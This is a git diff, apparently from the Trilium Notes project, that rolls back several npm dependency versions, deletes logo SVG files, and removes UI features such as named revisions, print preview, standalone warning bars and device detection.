"@univerjs/preset-sheets-core": "0.20.1",
"@univerjs/preset-sheets-data-validation": "0.20.1",
"@univerjs/preset-sheets-filter": "0.20.1",
"@univerjs/preset-sheets-find-replace": "0.20.1",
"@univerjs/preset-sheets-note": "0.20.1",
"@univerjs/preset-sheets-sort": "0.20.1",
"@univerjs/presets": "0.20.1",
"@univerjs/preset-sheets-conditional-formatting": "0.20.0",
"@univerjs/preset-sheets-core": "0.20.0",
"@univerjs/preset-sheets-data-validation": "0.20.0",
"@univerjs/preset-sheets-filter": "0.20.0",
"@univerjs/preset-sheets-find-replace": "0.20.0",
"@univerjs/preset-sheets-note": "0.20.0",
"@univerjs/preset-sheets-sort": "0.20.0",
"@univerjs/presets": "0.20.0",
"@zumer/snapdom": "2.8.0",
"autocomplete.js": "0.38.1",
"bootstrap": "5.3.8",
@@ -49,10 +49,9 @@
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.4.0",
"dompurify": "3.3.3",
"draggabilly": "3.0.0",
"force-graph": "1.51.4",
"htmldiff-js": "1.0.5",
"force-graph": "1.51.2",
"i18next": "26.0.4",
"i18next-http-backend": "3.0.4",
"jquery": "4.0.0",
@@ -67,9 +66,9 @@
"mind-elixir": "5.10.0",
"panzoom": "9.4.4",
"preact": "10.29.1",
"react-i18next": "17.0.3",
"react-i18next": "17.0.2",
"react-window": "2.2.7",
"reveal.js": "6.0.1",
"reveal.js": "6.0.0",
"rrule": "2.8.1",
"svg-pan-zoom": "3.6.2",
"tabulator-tables": "6.4.0",
@@ -85,9 +84,9 @@
"@types/mark.js": "8.11.12",
"@types/tabulator-tables": "6.3.1",
"copy-webpack-plugin": "14.0.0",
"happy-dom": "20.9.0",
"happy-dom": "20.8.9",
"lightningcss": "1.32.0",
"script-loader": "0.7.2",
"vite-plugin-static-copy": "4.0.1"
}
}
}

View File

@@ -1 +0,0 @@
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve"><path d="M63.966,45.043c0.008-0.009,0.021-0.021,0.027-0.029c0.938-1.156-0.823-13.453-5.063-20.125 c-1.389-2.186-2.239-3.423-3.219-4.719c-3.907-5.166-6-6.125-6-6.125S35.732,24.78,36.149,44.315 c-1.754,0.065-11.218,7.528-14.826,14.388c-1.206,2.291-1.856,3.645-2.493,5.141c-2.539,5.957-2.33,8.25-2.33,8.25 s16.271,6.79,33.014-3.294c0.007,0.021,0.013,0.046,0.02,0.063c0.537,1.389,12.08,5.979,19.976,5.621 c2.587-0.116,4.084-0.238,5.696-0.444c6.424-0.818,8.298-2.157,8.298-2.157S81.144,54.396,63.966,45.043z M50.787,65.343 c1.059-1.183,4.648-5.853,0.995-11.315c-0.253-0.377-0.496-0.236-0.496-0.236s0.063,10.822-5.162,12.359 c-5.225,1.537-13.886,4.4-20.427,0.455C25,66.186,26.924,53.606,38.544,47.229c0.546,1.599,2.836,6.854,9.292,6.409 c0.453-0.031,0.453-0.313,0.453-0.313s-9.422-5.328-8.156-10.625s3.089-14.236,9.766-17.948c0.714-0.397,10.746,7.593,10.417,20.94 c-1.606-0.319-7.377-1.004-10.226,4.864c-0.198,0.409,0.046,0.549,0.046,0.549s9.31-5.521,13.275-1.789 c3.965,3.733,10.813,9.763,10.71,17.4C74.111,67.533,62.197,72.258,50.787,65.343z M35.613,35.145c0,0-0.991,3.241-0.603,7.524 l-13.393-7.524C21.618,35.145,27.838,30.931,35.613,35.145z M21.193,36.03l13.344,7.612c-3.872,1.872-6.142,4.388-6.142,4.388 C20.78,43.531,21.193,36.03,21.193,36.03z M72.287,49.064c0,0-2.321-2.471-6.23-4.263l13.187-7.881 C79.243,36.92,79.808,44.413,72.287,49.064z M78.687,36.113l-13.237,7.794c0.3-4.291-0.754-7.511-0.754-7.511 C72.383,32.025,78.687,36.113,78.687,36.113z M42.076,73.778c0,0,3.309-0.737,6.845-3.185l0.056,15.361 C48.977,85.955,42.244,82.621,42.076,73.778z M49.956,85.888L50,70.526c3.539,2.445,6.846,3.181,6.846,3.181 C56.686,82.551,49.956,85.888,49.956,85.888z"></path></svg>

Before

Width:  |  Height:  |  Size: 1.8 KiB

View File

@@ -1,28 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg enable-background="new 0 0 256 256" version="1.1" viewBox="0 0 256 256" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">
<title>Trilium Notes</title>
<style type="text/css">
.st0{fill:#95C980;}
.st1{fill:#72B755;}
.st2{fill:#4FA52B;}
.st3{fill:#EE8C89;}
.st4{fill:#E96562;}
.st5{fill:#E33F3B;}
.st6{fill:#EFB075;}
.st7{fill:#E99547;}
.st8{fill:#E47B19;}
</style>
<g>
<path class="st0" d="m202.9 112.7c-22.5 16.1-54.5 12.8-74.9 6.3l14.8-11.8 14.1-11.3 49.1-39.3-51.2 35.9-14.3 10-14.9 10.5c0.7-21.2 7-49.9 28.6-65.4 1.8-1.3 3.9-2.6 6.1-3.8 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.4 2.8-4.9 5.4-7.4 7.8-3.4 3.5-6.8 6.4-10.1 8.8z"/>
<path class="st1" d="m213.1 104c-22.2 12.6-51.4 9.3-70.3 3.2l14.1-11.3 49.1-39.3-51.2 35.9-14.3 10c0.5-18.1 4.9-42.1 19.7-58.6 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.3 2.8-4.8 5.4-7.2 7.8z"/>
<path class="st2" d="m220.5 96.2c-21.1 8.6-46.6 5.3-63.7-0.2l49.2-39.4-51.2 35.9c0.3-15.8 3.5-36.6 14.3-52.8 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.8 66z"/>
<path class="st3" d="m106.7 179c-5.8-21 5.2-43.8 15.5-57.2l4.8 14.2 4.5 13.4 15.9 47-12.8-47.6-3.6-13.2-3.7-13.9c15.5 6.2 35.1 18.6 40.7 38.8 0.5 1.7 0.9 3.6 1.2 5.5 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.1-3.8-7.6-1.6-3.5-2.9-6.8-3.8-10z"/>
<path class="st4" d="m110.4 188.9c-3.4-19.8 6.9-40.5 16.6-52.9l4.5 13.4 15.9 47-12.8-47.6-3.6-13.2c13.3 5.2 29.9 15 38.1 30.4 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.2-3.8-7.7z"/>
<path class="st5" d="m114.2 196.5c-0.7-18 8.6-35.9 17.3-47.1l15.9 47-12.8-47.6c11.6 4.4 26.1 12.4 35.2 24.8 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8z"/>
<path class="st6" d="m86.3 59.1c21.7 10.9 32.4 36.6 35.8 54.9l-15.2-6.6-14.5-6.3-50.6-22 48.8 24.9 13.6 6.9 14.3 7.3c-16.6 7.9-41.3 14.5-62.1 4.1-1.8-0.9-3.6-1.9-5.4-3.2-2.3-1.5-4.5-3.2-6.8-5.1-19.9-16.4-40.3-46.4-42.7-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.2 0.8 6.2 1.6 9.1 2.5 4 1.3 7.6 2.8 10.9 4.4z"/>
<path class="st7" d="m75.4 54.8c18.9 12 28.4 35.6 31.6 52.6l-14.5-6.3-50.6-22 48.7 24.9 13.6 6.9c-14.1 6.8-34.5 13-53.3 8.2-2.3-1.5-4.5-3.2-6.8-5.1-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.1 0.8 6.2 1.6 9.1 2.6z"/>
<path class="st8" d="m66.3 52.2c15.3 12.8 23.3 33.6 26.1 48.9l-50.6-22 48.8 24.9c-12.2 6-29.6 11.8-46.5 10-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3z"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 2.5 KiB

View File

@@ -1,17 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg enable-background="new 0 0 256 256" version="1.1" viewBox="0 0 256 256" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">
<title>Trilium Notes</title>
<g>
<path d="m202.9 112.7c-22.5 16.1-54.5 12.8-74.9 6.3l14.8-11.8 14.1-11.3 49.1-39.3-51.2 35.9-14.3 10-14.9 10.5c0.7-21.2 7-49.9 28.6-65.4 1.8-1.3 3.9-2.6 6.1-3.8 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.4 2.8-4.9 5.4-7.4 7.8-3.4 3.5-6.8 6.4-10.1 8.8z" fill="#ab60e3"/>
<path d="m213.1 104c-22.2 12.6-51.4 9.3-70.3 3.2l14.1-11.3 49.1-39.3-51.2 35.9-14.3 10c0.5-18.1 4.9-42.1 19.7-58.6 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.3 2.8-4.8 5.4-7.2 7.8z" fill="#8038b8"/>
<path d="m220.5 96.2c-21.1 8.6-46.6 5.3-63.7-0.2l49.2-39.4-51.2 35.9c0.3-15.8 3.5-36.6 14.3-52.8 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.8 66z" fill="#560a8f"/>
<path d="m106.7 179c-5.8-21 5.2-43.8 15.5-57.2l4.8 14.2 4.5 13.4 15.9 47-12.8-47.6-3.6-13.2-3.7-13.9c15.5 6.2 35.1 18.6 40.7 38.8 0.5 1.7 0.9 3.6 1.2 5.5 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.1-3.8-7.6-1.6-3.5-2.9-6.8-3.8-10z" fill="#bb9dd2"/>
<path d="m110.4 188.9c-3.4-19.8 6.9-40.5 16.6-52.9l4.5 13.4 15.9 47-12.8-47.6-3.6-13.2c13.3 5.2 29.9 15 38.1 30.4 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.2-3.8-7.7z" fill="#9a6cbc"/>
<path d="m114.2 196.5c-0.7-18 8.6-35.9 17.3-47.1l15.9 47-12.8-47.6c11.6 4.4 26.1 12.4 35.2 24.8 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8z" fill="#783ba5"/>
<path d="m86.3 59.1c21.7 10.9 32.4 36.6 35.8 54.9l-15.2-6.6-14.5-6.3-50.6-22 48.8 24.9 13.6 6.9 14.3 7.3c-16.6 7.9-41.3 14.5-62.1 4.1-1.8-0.9-3.6-1.9-5.4-3.2-2.3-1.5-4.5-3.2-6.8-5.1-19.9-16.4-40.3-46.4-42.7-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.2 0.8 6.2 1.6 9.1 2.5 4 1.3 7.6 2.8 10.9 4.4z" fill="#ab60e3"/>
<path d="m75.4 54.8c18.9 12 28.4 35.6 31.6 52.6l-14.5-6.3-50.6-22 48.7 24.9 13.6 6.9c-14.1 6.8-34.5 13-53.3 8.2-2.3-1.5-4.5-3.2-6.8-5.1-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.1 0.8 6.2 1.6 9.1 2.6z" fill="#8038b8"/>
<path d="m66.3 52.2c15.3 12.8 23.3 33.6 26.1 48.9l-50.6-22 48.8 24.9c-12.2 6-29.6 11.8-46.5 10-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3z" fill="#6f2796"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 2.3 KiB

View File

@@ -1,28 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg enable-background="new 0 0 256 256" version="1.1" viewBox="0 0 256 256" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">
<title>Trilium Notes</title>
<style type="text/css">
.st0{fill:#95C980;}
.st1{fill:#72B755;}
.st2{fill:#4FA52B;}
.st3{fill:#EE8C89;}
.st4{fill:#E96562;}
.st5{fill:#E33F3B;}
.st6{fill:#EFB075;}
.st7{fill:#E99547;}
.st8{fill:#E47B19;}
</style>
<g>
<path class="st0" d="m202.9 112.7c-22.5 16.1-54.5 12.8-74.9 6.3l14.8-11.8 14.1-11.3 49.1-39.3-51.2 35.9-14.3 10-14.9 10.5c0.7-21.2 7-49.9 28.6-65.4 1.8-1.3 3.9-2.6 6.1-3.8 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.4 2.8-4.9 5.4-7.4 7.8-3.4 3.5-6.8 6.4-10.1 8.8z"/>
<path class="st1" d="m213.1 104c-22.2 12.6-51.4 9.3-70.3 3.2l14.1-11.3 49.1-39.3-51.2 35.9-14.3 10c0.5-18.1 4.9-42.1 19.7-58.6 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.3 2.8-4.8 5.4-7.2 7.8z"/>
<path class="st2" d="m220.5 96.2c-21.1 8.6-46.6 5.3-63.7-0.2l49.2-39.4-51.2 35.9c0.3-15.8 3.5-36.6 14.3-52.8 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.8 66z"/>
<path class="st3" d="m106.7 179c-5.8-21 5.2-43.8 15.5-57.2l4.8 14.2 4.5 13.4 15.9 47-12.8-47.6-3.6-13.2-3.7-13.9c15.5 6.2 35.1 18.6 40.7 38.8 0.5 1.7 0.9 3.6 1.2 5.5 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.1-3.8-7.6-1.6-3.5-2.9-6.8-3.8-10z"/>
<path class="st4" d="m110.4 188.9c-3.4-19.8 6.9-40.5 16.6-52.9l4.5 13.4 15.9 47-12.8-47.6-3.6-13.2c13.3 5.2 29.9 15 38.1 30.4 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.2-3.8-7.7z"/>
<path class="st5" d="m114.2 196.5c-0.7-18 8.6-35.9 17.3-47.1l15.9 47-12.8-47.6c11.6 4.4 26.1 12.4 35.2 24.8 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8z"/>
<path class="st6" d="m86.3 59.1c21.7 10.9 32.4 36.6 35.8 54.9l-15.2-6.6-14.5-6.3-50.6-22 48.8 24.9 13.6 6.9 14.3 7.3c-16.6 7.9-41.3 14.5-62.1 4.1-1.8-0.9-3.6-1.9-5.4-3.2-2.3-1.5-4.5-3.2-6.8-5.1-19.9-16.4-40.3-46.4-42.7-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.2 0.8 6.2 1.6 9.1 2.5 4 1.3 7.6 2.8 10.9 4.4z"/>
<path class="st7" d="m75.4 54.8c18.9 12 28.4 35.6 31.6 52.6l-14.5-6.3-50.6-22 48.7 24.9 13.6 6.9c-14.1 6.8-34.5 13-53.3 8.2-2.3-1.5-4.5-3.2-6.8-5.1-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.1 0.8 6.2 1.6 9.1 2.6z"/>
<path class="st8" d="m66.3 52.2c15.3 12.8 23.3 33.6 26.1 48.9l-50.6-22 48.8 24.9c-12.2 6-29.6 11.8-46.5 10-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3z"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 2.5 KiB

View File

@@ -24,7 +24,6 @@ import { IncludeNoteOpts } from "../widgets/dialogs/include_note.jsx";
import type { InfoProps } from "../widgets/dialogs/info.jsx";
import type { MarkdownImportOpts } from "../widgets/dialogs/markdown_import.jsx";
import { ChooseNoteTypeCallback } from "../widgets/dialogs/note_type_chooser.jsx";
import type { PrintPreviewData } from "../widgets/dialogs/print_preview.jsx";
import type { PromptDialogOptions } from "../widgets/dialogs/prompt.js";
import type NoteTreeWidget from "../widgets/note_tree.js";
import Component from "./component.js";
@@ -281,7 +280,6 @@ export type CommandMappings = {
backInNoteHistory: CommandData;
forwardInNoteHistory: CommandData;
forceSaveRevision: CommandData;
saveNamedRevision: CommandData;
scrollToActiveNote: CommandData;
quickSearch: CommandData;
collapseTree: CommandData;
@@ -332,7 +330,6 @@ export type CommandMappings = {
toggleRightPane: CommandData;
printActiveNote: CommandData;
exportAsPdf: CommandData;
showPrintPreview: PrintPreviewData;
openNoteExternally: CommandData;
openNoteCustom: CommandData;
openNoteOnServer: CommandData;

View File

@@ -1,7 +1,6 @@
import { CreateChildrenResponse, SqlExecuteResponse } from "@triliumnext/commons";
import bundleService from "../services/bundle.js";
import dialog from "../services/dialog.js";
import dateNoteService from "../services/date_notes.js";
import froca from "../services/froca.js";
import { t } from "../services/i18n.js";
@@ -217,21 +216,4 @@ export default class Entrypoints extends Component {
toastService.showMessage(t("entrypoints.note-revision-created"));
}
async saveNamedRevisionCommand() {
const noteId = appContext.tabManager.getActiveContextNoteId();
if (!noteId) return;
const name = await dialog.prompt({
title: t("entrypoints.save-named-revision-title"),
message: t("entrypoints.save-named-revision-message"),
defaultValue: ""
});
// null means the user cancelled
if (name === null) return;
await server.post(`notes/${noteId}/revision`, { description: name || undefined });
toastService.showMessage(t("entrypoints.note-revision-created"));
}
}

View File

@@ -25,15 +25,6 @@ export type GetTextEditorCallback = (editor: CKTextEditor) => void;
export type SaveState = "saved" | "saving" | "unsaved" | "error";
const READ_ONLY_CAPABLE_TYPES: string[] = [
"text",
"code",
"mermaid",
"canvas",
"mindMap",
"spreadsheet"
];
export interface NoteContextDataMap {
toc: HeadingContext;
pdfPages: {
@@ -312,12 +303,8 @@ class NoteContext extends Component implements EventListener<"entitiesReloaded">
return false;
}
if (!this.note) {
return false;
}
// Note types that support a read-only state (via the #readOnly label, source view, or auto-readonly).
if (!READ_ONLY_CAPABLE_TYPES.includes(this.note.type)) {
// "readOnly" is a state valid only for text/code notes
if (!this.note || (this.note.type !== "text" && this.note.type !== "code")) {
return false;
}
@@ -333,11 +320,6 @@ class NoteContext extends Component implements EventListener<"entitiesReloaded">
return true;
}
// Auto read-only based on content size is only configurable for text/code.
if (this.note.type !== "text" && this.note.type !== "code") {
return false;
}
// Store the initial decision about read-only status in the viewScope
// This will be "remembered" until the viewScope is refreshed
if (!this.viewScope) {

View File

@@ -66,15 +66,7 @@ class FAttribute {
}
get isAutoLink() {
if (this.type === "relation") {
return ["internalLink", "imageLink", "relationMapLink", "includeNoteLink"].includes(this.name);
}
if (this.type === "label") {
return this.name === "internalBookmark";
}
return false;
return this.type === "relation" && ["internalLink", "imageLink", "relationMapLink", "includeNoteLink"].includes(this.name);
}
get toString() {

View File

@@ -1069,10 +1069,6 @@ export default class FNote {
return this.mime === "text/x-sqlite;schema=trilium";
}
isMarkdown() {
return this.type === "code" && (this.mime === "text/markdown" || this.mime === "text/x-markdown" || this.mime === "text/x-gfm");
}
isTriliumScript() {
return this.mime.startsWith("application/javascript");
}

View File

@@ -38,38 +38,11 @@ async function setupGlob() {
window.global = globalThis; /* fixes https://github.com/webpack/webpack/issues/10035 */
window.glob = {
...json,
activeDialog: null,
device: json.device || getDevice()
activeDialog: null
};
window.glob.getThemeStyle = getThemeStyle;
}
function getDevice() {
// Respect user's manual override via URL.
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.has("print")) {
return "print";
} else if (urlParams.has("desktop")) {
return "desktop";
} else if (urlParams.has("mobile")) {
return "mobile";
}
const deviceCookie = document.cookie.split("; ").find(row => row.startsWith("trilium-device="))?.split("=")[1];
if (deviceCookie === "desktop" || deviceCookie === "mobile") return deviceCookie;
return isMobile() ? "mobile" : "desktop";
}
// https://stackoverflow.com/a/73731646/944162
function isMobile() {
const mQ = matchMedia?.("(pointer:coarse)");
if (mQ?.media === "(pointer:coarse)") return !!mQ.matches;
if ("orientation" in window) return true;
const userAgentsRegEx = /\b(Android|iPhone|iPad|iPod|Windows Phone|BlackBerry|webOS|IEMobile)\b/i;
return userAgentsRegEx.test(navigator.userAgent);
}
async function loadBootstrapCss() {
// We have to selectively import Bootstrap CSS based on text direction.
if (glob.isRtl) {
@@ -149,8 +122,6 @@ function loadIcons() {
}
function setBodyAttributes() {
if (!glob.dbInitialized) return;
const { device, headingStyle, layoutOrientation, platform, isElectron, hasNativeTitleBar, hasBackgroundEffects, currentLocale } = window.glob;
const classesToSet = [
device,
@@ -171,11 +142,6 @@ function setBodyAttributes() {
}
async function loadScripts() {
if (!glob.dbInitialized) {
await import("./setup.js");
return;
}
switch (glob.device) {
case "mobile":
await import("./mobile.js");

View File

@@ -30,7 +30,6 @@ import SpacerWidget from "../widgets/launch_bar/SpacerWidget.jsx";
import InlineTitle from "../widgets/layout/InlineTitle.jsx";
import NoteBadges from "../widgets/layout/NoteBadges.jsx";
import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
import StandaloneWarningBar from "../widgets/layout/StandaloneWarningBar.jsx";
import StatusBar from "../widgets/layout/StatusBar.jsx";
import NoteIconWidget from "../widgets/note_icon.jsx";
import NoteTitleWidget from "../widgets/note_title.jsx";
@@ -91,7 +90,6 @@ export default class DesktopLayout {
.optChild(launcherPaneIsHorizontal, <LeftPaneToggle isHorizontalLayout={true} />)
.child(<TabHistoryNavigationButtons />)
.child(new TabRowWidget().class("full-width"))
.optChild(glob.isStandalone, <StandaloneWarningBar />)
.optChild(isNewLayout, <RightPaneToggle />)
.optChild(customTitleBarButtons, <TitleBarButtons />)
.css("height", "40px")
@@ -119,7 +117,6 @@ export default class DesktopLayout {
.class("tab-row-container")
.child(<TabHistoryNavigationButtons />)
.child(new TabRowWidget())
.optChild(glob.isStandalone, <StandaloneWarningBar />)
.optChild(isNewLayout, <RightPaneToggle />)
.optChild(customTitleBarButtons, <TitleBarButtons />)
.css("height", "40px")

View File

@@ -24,7 +24,6 @@ import InfoDialog from "../widgets/dialogs/info.js";
import IncorrectCpuArchDialog from "../widgets/dialogs/incorrect_cpu_arch.js";
import CallToActionDialog from "../widgets/dialogs/call_to_action.jsx";
import PopupEditorDialog from "../widgets/dialogs/PopupEditor.jsx";
import PrintPreviewDialog from "../widgets/dialogs/print_preview.jsx";
import ToastContainer from "../widgets/Toast.jsx";
export function applyModals(rootContainer: RootContainer) {
@@ -52,7 +51,6 @@ export function applyModals(rootContainer: RootContainer) {
.child(<PromptDialog />)
.child(<IncorrectCpuArchDialog />)
.child(<PopupEditorDialog />)
.child(<PrintPreviewDialog />)
.child(<CallToActionDialog />)
.child(<ToastContainer />);
}

View File

@@ -27,7 +27,7 @@ kbd {
max-width: 350px;
}
/* #region Tree (non-standalone mobile: Fancytree-based) */
/* #region Tree */
.tree-wrapper {
max-height: 100%;
margin-top: 0px;

View File

@@ -1,7 +1,6 @@
import "./mobile_layout.css";
import type AppContext from "../components/app_context.js";
import { isMobileApp } from "../services/utils";
import GlobalMenuWidget from "../widgets/buttons/global_menu.js";
import CloseZenModeButton from "../widgets/close_zen_button.js";
import NoteList from "../widgets/collections/NoteList.jsx";
@@ -14,9 +13,7 @@ import LauncherContainer from "../widgets/launch_bar/LauncherContainer.jsx";
import InlineTitle from "../widgets/layout/InlineTitle.jsx";
import NoteBadges from "../widgets/layout/NoteBadges.jsx";
import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
import StandaloneWarningBar from "../widgets/layout/StandaloneWarningBar";
import MobileDetailMenu from "../widgets/mobile_widgets/mobile_detail_menu.js";
import MobileNoteNavigator from "../widgets/mobile_widgets/MobileNoteNavigator.jsx";
import ScreenContainer from "../widgets/mobile_widgets/screen_container.js";
import SidebarContainer from "../widgets/mobile_widgets/sidebar_container.js";
import ToggleSidebarButton from "../widgets/mobile_widgets/toggle_sidebar_button.jsx";
@@ -49,13 +46,7 @@ export default class MobileLayout {
.css("padding-inline-start", "0")
.css("padding-inline-end", "0")
.css("contain", "content")
.child(
new FlexContainer("column")
.filling()
.id("mobile-sidebar-wrapper")
.child(new QuickSearchWidget())
.child(glob.isStandalone ? <MobileNoteNavigator /> : new NoteTreeWidget())
)
.child(new FlexContainer("column").filling().id("mobile-sidebar-wrapper").child(new QuickSearchWidget()).child(new NoteTreeWidget()))
)
.child(
new ScreenContainer("detail", "row")
@@ -73,8 +64,6 @@ export default class MobileLayout {
.child(<NoteIconWidget />)
.child(<NoteTitleWidget />)
.child(<NoteBadges />)
.optChild(isMobileApp(), <StandaloneWarningBar variant="mobile" />)
.optChild(glob.isStandalone && !isMobileApp(), <StandaloneWarningBar />)
.child(<MobileDetailMenu />)
)
.child(

View File

@@ -39,7 +39,6 @@ export interface MenuCommandItem<T> {
title: string;
command?: T;
type?: string;
mime?: string;
/**
* The icon to display in the menu item.
*

View File

@@ -1,101 +0,0 @@
import type { ToggleInParentResponse } from "@triliumnext/commons";
import type FNote from "../entities/fnote.js";
import branchService from "../services/branches.js";
import { t } from "../services/i18n.js";
import server from "../services/server.js";
import toast from "../services/toast.js";
import contextMenu, { type ContextMenuEvent, type MenuItem } from "./context_menu.js";
const VISIBLE_LAUNCHER_PARENTS = ["_lbVisibleLaunchers", "_lbMobileVisibleLaunchers"];
function getVisibleLauncherBranch(launcherNote: FNote) {
return launcherNote.getParentBranches().find((b) => VISIBLE_LAUNCHER_PARENTS.includes(b.parentNoteId));
}
function getBookmarkBranch(launcherNote: FNote) {
return launcherNote.getParentBranches().find((b) => b.parentNoteId === "_lbBookmarks");
}
async function removeFromLaunchBar(launcherNote: FNote) {
const bookmarkBranch = getBookmarkBranch(launcherNote);
if (bookmarkBranch) {
// Individual bookmarks are represented via a branch under `_lbBookmarks`; removing them
// from the launch bar is the same as unbookmarking the note.
const resp = await server.put<ToggleInParentResponse>(
`notes/${launcherNote.noteId}/toggle-in-parent/_lbBookmarks/false`
);
if (!resp.success && resp.message) {
toast.showError(resp.message);
}
return;
}
const launcherBranch = getVisibleLauncherBranch(launcherNote);
if (!launcherBranch) return;
const isMobileLauncher = launcherBranch.parentNoteId === "_lbMobileVisibleLaunchers";
// Branch IDs in the hidden subtree follow the `${parentNoteId}_${noteId}` convention,
// so the branch linking `_lb(Mobile)?Root` to the "available" launchers root is predictable.
const targetBranchId = isMobileLauncher
? "_lbMobileRoot__lbMobileAvailableLaunchers"
: "_lbRoot__lbAvailableLaunchers";
await branchService.moveToParentNote([launcherBranch.branchId], targetBranchId);
}
export function canRemoveFromLaunchBar(launcherNote: FNote | null | undefined) {
if (!launcherNote) return false;
return !!(getVisibleLauncherBranch(launcherNote) || getBookmarkBranch(launcherNote));
}
export interface ShowLauncherContextMenuOptions<T extends string> {
/** Menu items specific to this launcher (e.g. "Open in new tab" for note-based launchers). They appear above the "Remove from launch bar" item. */
extraItems?: MenuItem<T>[];
/** Handler for the {@link extraItems}. The "Remove from launch bar" item is handled internally and will not be forwarded. */
onCommand?: (command: T | undefined) => void;
}
const REMOVE_COMMAND = "__removeFromLaunchBar__";
/**
* Displays the launch bar icon context menu. When the launcher can be removed (i.e. it is a direct
* child of the visible launchers root or of `_lbBookmarks`), a "Remove from launch bar" entry is
* appended. Extra items can be supplied to preserve launcher-specific actions (e.g. "Open in new tab").
*/
export async function showLauncherContextMenu<T extends string>(
launcherNote: FNote | null | undefined,
e: ContextMenuEvent,
options: ShowLauncherContextMenuOptions<T> = {}
) {
e.preventDefault();
const items = [...(options.extraItems ?? [])] as MenuItem<string>[];
if (canRemoveFromLaunchBar(launcherNote)) {
if (items.length > 0) {
items.push({ kind: "separator" });
}
items.push({
title: t("launcher_button_context_menu.remove_from_launch_bar"),
command: REMOVE_COMMAND,
uiIcon: "bx bx-x-circle"
});
}
if (items.length === 0) return;
contextMenu.show<string>({
x: e.pageX ?? 0,
y: e.pageY ?? 0,
items,
selectMenuItemHandler: ({ command }) => {
if (command === REMOVE_COMMAND) {
if (launcherNote) {
void removeFromLaunchBar(launcherNote);
}
return;
}
options.onCommand?.(command as T | undefined);
}
});
}

View File

@@ -288,7 +288,7 @@ export default class TreeContextMenu implements SelectMenuItemEventListener<Tree
return items.filter((row) => row !== null) as MenuItem<TreeCommandNames>[];
}
async selectMenuItemHandler({ command, type, mime, templateNoteId }: MenuCommandItem<TreeCommandNames>) {
async selectMenuItemHandler({ command, type, templateNoteId }: MenuCommandItem<TreeCommandNames>) {
const notePath = treeService.getNotePath(this.node);
if (utils.isMobile()) {
@@ -305,7 +305,6 @@ export default class TreeContextMenu implements SelectMenuItemEventListener<Tree
target: "after",
targetBranchId: this.node.data.branchId,
type,
mime,
isProtected,
templateNoteId
});
@@ -314,7 +313,6 @@ export default class TreeContextMenu implements SelectMenuItemEventListener<Tree
noteCreateService.createNote(parentNotePath, {
type,
mime,
isProtected: this.node.data.isProtected,
templateNoteId
});

View File

@@ -2,17 +2,18 @@
:root {
--print-font-size: 11pt;
--ck-content-color-image-caption-background: transparent !important;
}
html,
body {
--print-font-family: var(--detail-font-family, sans-serif);
width: 100%;
height: 100%;
color: black;
font-family: var(--print-font-family);
}
@page {
